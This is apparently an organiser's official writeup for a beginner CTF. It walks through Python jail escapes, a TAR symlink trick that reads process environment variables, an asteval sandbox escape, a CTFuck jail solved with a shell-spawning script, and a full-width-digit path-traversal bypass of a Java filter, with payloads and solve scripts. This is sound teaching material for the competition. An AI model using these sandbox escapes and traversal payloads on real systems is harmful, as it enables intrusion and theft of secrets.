THJCC 2026 Summer — Official Writeup (en)
11 mins
2286 words
Loading views
REC CTF

Before allh2

Although this competition was designed for beginners, AI/LLMs have been developing so quickly that many participants ended up feeding challenges directly to AI without even looking at them first. I still hope those who are capable can try solving them by themselves XD. Hope everyone enjoyed the challenges I made for THJCC this time~

Welcomeh2

  • solve: 149/315

Apparently some people said this challenge wasn’t designed very well. As a sanity-check challenge, I don’t think it was supposed to be that difficult, although if you throw it directly at AI, it’ll probably get stuck for a while.

The challenge only gives you a GIF. We know that a GIF is made of multiple images played continuously to form an infinitely looping animation, so it’s not hard to Google for a website that can split GIF frames. Just use any one of them, and you’ll get:

https://welcome.xzhiyouu.idv.tw;pass_code:NT9C-S8DP-D85B-Z8H6

Open the website, copy and paste the passcode, and you’ll get:

https://pastebin.com/DUxM02Gp

Open it and the flag is there.

welcome

Misch2

67jailh3

  • solve: 124/315

The challenge file is as follows:

#!/usr/bin/env python3
import unicodedata
banned = {"print": print, "open": open, "chr": chr}
s = input(">> ")
if len(s) != 6767:
exit("wrong length :(")
if any(c in s for c in "'\"_`\\#"):
exit("that's not good :(")
if any(c.isascii() and c.isalnum() for c in s):
exit("no no no!!!")
if s.count(";") > 1:
exit("too many semicolons!")
for c in s:
if c.isidentifier() and unicodedata.normalize("NFKC", c) == c:
exit("bad:(((")
exec(s, {"__builtins__": banned}, {})

It gives us an allowlist (I accidentally named the variable banned). The only built-ins we can use are print, open, and chr. Then there are five checks:

  1. The input length must be exactly 6767.
  2. The input must not contain any of ', ", _, \, or #.
  3. The input must not contain ASCII letters or digits.
  4. At most one semicolon is allowed.
  5. The input must not contain any valid Python identifier character that remains unchanged after NFKC normalization.

Let’s first look at the fifth check. We need characters that change after NFKC normalization, so full-width characters are an obvious way to bypass it.

>>> 'p'.isidentifier()
True
>>> unicodedata.normalize("NFKC", 'p') == 'p'
False

Next, look at the third check. The input cannot contain ASCII letters or digits. In Python, True is equal to 1, so expressions such as ()==(), []==[], and {}=={} can all represent 1.

Then how do we construct other numbers? We can use Python’s bit-shift behavior:

=()==() # t = 1

Using <<, we can construct powers of two. For example, using t as the variable:

<<# 2
<<<<# 4
<<<<<<# 8

And so on. By combining these with addition, we can construct arbitrary integers.

Our goal is to build:

print(open('/flag').read())

So we can write a simple script to generate the payload. After combining everything above, we just pad it with spaces until the total length reaches 6767.

  • payload.py
#!/usr/bin/env python3
def z(s):
return ''.join(chr(ord(c) + 0xFEE0) if c.isalpha() else c for c in s)
t = z('t')
def num(n):
r, i = [], 0
while n:
if n & 1:
r.append('(' + '<<'.join([t] * (i + 1)) + ')')
n >>= 1
i += 1
return '+'.join(r)
def ch(c):
return z('chr') + '(' + num(ord(c)) + ')'
payload = t + '=()==();'
payload += z('print') + '('
payload += z('open') + '(' + '+'.join(ch(c) for c in '/flag') + ').' + z('read') + '())'
payload += ' ' * (6767 - len(payload))
print(payload)

Also, shoutout to R3X DJ for writing a very detailed writeup XD.

Time Machineh3

  • solve: 49/315

This challenge does not provide source code. We can see that the system allows uploading .zip, .tar, .tar.gz, .tgz, .tar.bz2, and .tar.xz files. The Snapshot feature then packages everything you uploaded into a snapshot.zip for download.

The challenge tells us that the backend uses Python’s shutil. The source code is here:

source

shutil.unpack_archive() checks _UNPACK_FORMATS based on the file extension and decides which unpacking function to use:

_UNPACK_FORMATS = {
'tar': (['.tar'], _unpack_tarfile, [], "uncompressed tar file"),
'zip': (['.zip'], _unpack_zipfile, [], "ZIP file"),
}

So ZIP files go through _unpack_zipfile, while TAR files go through _unpack_tarfile.

Let’s first look at the ZIP implementation:

def _unpack_zipfile(filename, extract_dir):
"""Unpack zip `filename` to `extract_dir`"""
import zipfile # late import for breaking circular dependency
if not zipfile.is_zipfile(filename):
raise ReadError("%s is not a zip file" % filename)
with zipfile.ZipFile(filename) as zip:
zip._ignore_invalid_names = True
zip.extractall(extract_dir)

The TAR implementation is:

def _unpack_tarfile(filename, extract_dir, *, filter=None):
"""Unpack tar/tar.gz/tar.bz2/tar.xz `filename` to `extract_dir`"""
import tarfile # late import for breaking circular dependency
try:
tarobj = tarfile.open(filename)
except tarfile.TarError:
raise ReadError(
"%s is not a compressed or uncompressed tar file" % filename)
try:
tarobj.extractall(extract_dir, filter=filter)
finally:
tarobj.close()

We can see that _unpack_zipfile() prevents paths beginning with / and paths containing ... It also writes entries as regular files using open(targetpath, 'wb') together with copyfileobj.

However, TAR extraction performs no filename validation, and filter=None, which means we can use a TAR archive to create symlinks to arbitrary files.

The flag for this challenge is stored in an environment variable, so we can solve the challenge with two simple Linux commands:

  1. ln -s /proc/self/environ test.txt
  2. tar -cf solve.tar test.txt

Then upload solve.tar and download the generated snapshot. The flag will be visible inside.

SO EZ MISCh3

  • solve: 26/315

First connect to the service. It looks like a calculator. Send some non-UTF-8 input to trigger an error:

Terminal window
printf '\xfe\n' | nc HOST PORT

Result:

Terminal window
calc> Traceback (most recent call last):
File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 277, in parse
out = ast.parse(text)
File "/usr/local/lib/python3.13/ast.py", line 50, in parse
return compile(source, filename, mode, flags,
_feature_version=feature_version, optimize=optimize)
UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 354, in eval
node = self.parse(expr)
File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 281, in parse
self.raise_exception(None, exc=RuntimeError, expr=text)
~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 264, in raise_exception
raise exc(self.error_msg)
RuntimeError
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/srv/server.py", line 130, in <module>
main()
~~~~^^
File "/srv/server.py", line 126, in main
print(evaluate(interp, line), flush=True)
~~~~~~~~^^^^^^^^^^^^^^
File "/srv/server.py", line 107, in evaluate
result = interp(src, raise_errors=False)
File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 344, in __call__
return self.eval(expr, **kw)
~~~~~~~~~^^^^^^^^^^^^
File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 363, in eval
print(errmsg, file=self.err_writer)
~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed

Anyway, from this we can tell that the service is using Python’s asteval, and that the Python version is 3.13.

If we look through the source code:

source

we find that asteval has a CVE:

CVE / advisory

The important part is near the end:

def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
"formatting used in f-strings"
val = self.run(node.value)
fstring_converters = {115: str, 114: repr, 97: ascii}
if node.conversion in fstring_converters:
val = fstring_converters[node.conversion](val)
fmt = '{__fstring__}'
if node.format_spec is not None:
fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
return safe_format(fmt, self.raise_exception, node, __fstring__=val)

According to the challenge description, The bug has no patch, so directly using the PoC from the advisory will not work, because that PoC was already blocked in version 1.0.6, while the challenge is running version 1.0.9.

Comparing the current implementation of on_formattedvalue, we can see that only the last line changed:

1.0.6
return fmt.format(__fstring__=val)
# 1.0.9
return safe_format(fmt, self.raise_exception, node, __fstring__=val)

Version 1.0.9 simply replaced fmt.format with its own safe_format. However, format_spec is still first evaluated into a string using self.run(), and that string is then concatenated back into the f-string format template.

So what exactly does SafeFormatter block?

Let’s continue reading the source:

class SafeFormatter(Formatter):
def __init__(self, raise_exc, node):
self.raise_exc = raise_exc
self.node = node
super().__init__()
def get_field(self, field_name, args, kwargs):
first, rest = formatter_field_name_split(field_name)
obj = self.get_value(first, args, kwargs)
for is_attr, i in rest:
if is_attr:
obj = safe_getattr(obj, i, self.raise_exc, self.node)
else:
obj = obj[i]
return obj, first

Then follow safe_getattr:

def safe_getattr(obj, attr, raise_exc, node, allow_unsafe_modules=False):
"""safe version of getattr"""
unsafe = (attr in UNSAFE_ATTRS or
(attr.startswith('__') and attr.endswith('__')))
if not unsafe:
for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
unsafe = (isinstance(obj, dtype) or obj is dtype) and attr in attrlist
if unsafe:
break
if not unsafe and not allow_unsafe_modules:
for mod in UNSAFE_MODULES:
unsafe = obj is mod or getattr(obj, attr) is mod
if unsafe:
break
if unsafe:
msg = f"no safe attribute '{attr}' for {repr(obj)}"
raise_exc(node, exc=AttributeError, msg=msg)
else:
return getattr(obj, attr, None)

We can see that it mainly blocks __ attributes, but arbitrary object traversal is still possible.

Connect to the challenge:

Terminal window
calc> WB
Workbook(name='Q3-Financials', sheets={'summary': Sheet(title='Summary', owner=User(name='guest', role='viewer', session=Session(id='sess-0000', token=<Secret value=***REDACTED***>)), cells={'A1': 42, 'A2': 1337}), 'audit': Sheet(title='Audit Trail', owner=User(name='auditor', role='root', session=Session(id='sess-c0ffee', token=<Secret value=***REDACTED***>)), cells={'A1': 0})})

Our target is:

WB.sheets["audit"].owner.session.token.value

If we send it directly, we get:

error: banned character '['

An obvious bypass is to construct banned characters using chr().

The payload structure is roughly:

f"{WB:SPEC}"

where SPEC is:

'}{__fstring__.sheets[audit].owner.session.token.value'

After formatting, this becomes:

{__fstring__:}{__fstring__.sheets[audit].owner.session.token.value}

So the final payload is:

f"{WB:{'}{__fstring__.sheets[audit].owner.session.token.value'}}"

Then replace some banned characters with chr():

f"{WB:{"}{"+chr(95)*2+"fstring"+chr(95)*2+".sheets"+chr(91)+"audit"+chr(93)+".owner.session.token.value"}}"

CTFxckh3

  • solve: 14/315

This is another jail-style challenge. The challenge gives us the following information:

  1. The server is running a CTFuck interpreter.
  2. We send a CTFuck program, followed by EOF on the last line.
  3. Whatever the program prints is then passed to exec() by the server.

For information about CTFuck, see:

https://esolangs.org/wiki/CTFuck

I set the maximum input length to 110 characters, which means the examples on the wiki aren’t very useful.

There are two obvious payload choices:

  1. breakpoint()
  2. exec(input())

So the problem becomes: how do we print 12–13 bytes using as few CTFuck characters as possible?

Let’s first look at the approach shown on the wiki.

The intuitive way to print one byte is to push its eight bits, then traverse them one by one:

01001000
.$.$.$.$.$.$.$.$

That takes:

8 + 1 + 16 = 25 characters

just to print one byte, so there is no way to fit the payload under 110 characters.

Instead, we should inspect the interpreter:

https://github.com/pro465/ctfuck/blob/9f343df145455f3c2604bbb79789d0b3aa32c601/src/main.rs

One important detail is that when the queue is empty, executing $, ., :, or [a|b] terminates the whole program.

So we do not need to traverse every bit manually. We can push all bits of the payload into the queue first, then drain the queue:

<payload bits>
.$[2|2]

. prints the front item but does not pop it, so it must be followed by $.

[2|2] jumps back to line 2 regardless of whether the current bit is 0 or 1, creating an infinite loop. Once the queue becomes empty, the interpreter automatically terminates.

  • solve script
#!/usr/bin/env python3
from pwn import *
def compile(payload):
bits = ""
for c in payload:
for i in range(8):
bits += str(c >> i & 1)
return bits.rstrip("0") + "\n.$[2|2]"
src = compile(b"exec(input())")
io = remote(HOST, PORT)
io.sendlineafter(b">>> ", src.encode() + b"\nEOF")
io.sendline(b"import os;os.system('/bin/sh')")
io.interactive()

Shifting…v2?h3

  • solve: 3/315

Previous writeup:

https://hackmd.io/@xzhiyouu/THJCC-2026

The approach is basically the same as before. Eventually, we get a Pastebin URL:

https://pastebin.com/D15r3g

A lot of people got stuck here.

If you create your own Pastebin and check the URL format, you’ll notice that the code at the end should actually contain eight characters.

So we just write a script to brute-force the missing character.

Eventually, we get:

https://pastebin.com/D15r3grG

Open it, and the flag is there.

Webh2

SimpleNotesh3

  • solve: 21/315

This is a black-box web challenge. After opening the site, we can see that it’s a note-taking app.

The goal is to read /flag, so path traversal is obviously the intended direction.

I’ll explain it directly using the source code.

  • NoteController.java
package tw.thjcc.simplenotes;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.File;
import java.io.IOException;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
@RestController
public class NoteController {
private static final File NOTE_DIR = new File("/app/notes");
@GetMapping(value = "/api/notes", produces = MediaType.APPLICATION_JSON_VALUE)
public List<String> list() {
File[] files = NOTE_DIR.listFiles(File::isFile);
if (files == null) {
return Collections.emptyList();
}
List<String> names = new ArrayList<>();
for (File f : files) {
names.add(f.getName());
}
Collections.sort(names);
return names;
}
@GetMapping(value = "/api/read", produces = MediaType.TEXT_PLAIN_VALUE + ";charset=UTF-8")
public ResponseEntity<String> read(@RequestParam("f") String f) throws IOException {
String name = URLDecoder.decode(f, StandardCharsets.UTF_8);
File target = new File(NOTE_DIR, name);
if (!target.isFile()) {
return ResponseEntity.status(404).body("note not found: " + name);
}
byte[] data = Files.readAllBytes(target.toPath());
return ResponseEntity.ok(new String(data, StandardCharsets.UTF_8));
}
}
  • PathGuardFilter.java
package tw.thjcc.simplenotes;
import jakarta.servlet.Filter;
import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.regex.Pattern;
public class PathGuardFilter implements Filter {
private static final Pattern[] RULES = {
Pattern.compile("\\.\\."),
Pattern.compile("(?i)%2e"),
Pattern.compile("(?i)%2f"),
Pattern.compile("(?i)%5c"),
Pattern.compile("\\\\"),
Pattern.compile("^/"),
Pattern.compile("\\x00")
};
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
if (rejected(request.getQueryString())) {
block((HttpServletResponse) res);
return;
}
for (String[] values : request.getParameterMap().values()) {
for (String value : values) {
if (rejected(value)) {
block((HttpServletResponse) res);
return;
}
}
}
chain.doFilter(req, res);
}
private boolean rejected(String input) {
if (input == null || input.isEmpty()) {
return false;
}
for (Pattern rule : RULES) {
if (rule.matcher(input).find()) {
return true;
}
}
return false;
}
private void block(HttpServletResponse response) throws IOException {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.setContentType("text/plain;charset=UTF-8");
response.setCharacterEncoding(StandardCharsets.UTF_8.name());
response.getWriter().write("u are blocked XD");
}
@Configuration
public static class Registration {
@Bean
public FilterRegistrationBean<PathGuardFilter> pathGuard() {
FilterRegistrationBean<PathGuardFilter> bean = new FilterRegistrationBean<>();
bean.setFilter(new PathGuardFilter());
bean.addUrlPatterns("/api/*");
bean.setOrder(1);
return bean;
}
}
}

Take a close look at this line in NoteController.java:

String name = URLDecoder.decode(f, StandardCharsets.UTF_8);

The filter checks the parameter value after Tomcat has already decoded it once.

Then the controller calls URLDecoder.decode() on it again.

In other words, the filter and the controller are not actually looking at the same string.

So all we need is an encoding that does not look like ../ to the filter’s regex, but that URLDecoder will decode into ../.

Looking at the JDK 17 implementation of URLDecoder.decode():

source

the loop that processes % sequences looks like this:

while ( ((i+2) < numChars) && (c=='%')) {
int v = Integer.parseInt(s, i + 1, i + 3, 16);
if (v < 0)
throw new IllegalArgumentException(...);
bytes[pos++] = (byte) v;
i += 3;
if (i < numChars)
c = s.charAt(i);
}

P.S. This challenge uses an older version. The newer implementation has already fixed this behavior:

link

The important line is:

Integer.parseInt(s, i+1, i+3, 16)

Internally, this uses Character.digit().

Looking at the Javadoc, we can see that it accepts Unicode decimal digits and Latin letters, not only ASCII characters.

For example:

Character.digit('2', 16) == 2 // U+FF12
Character.digit('e', 16) == 14 // U+FF45

Therefore:

URLDecoder.decode("%2e")

decodes to:

.

So the payload simply replaces the hexadecimal digits with full-width characters while leaving % as a normal ASCII percent sign:

%2e%2e%2f%2e%2e%2fflag.txt

Then call the API:

Terminal window
curl 'http://chal.thjcc.org:12024/api/read?f=%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86flag.txt'

The inspiration for this challenge came from Black Hat Asia 2026:

material

I happened to come across it one day while searching for references.

Comments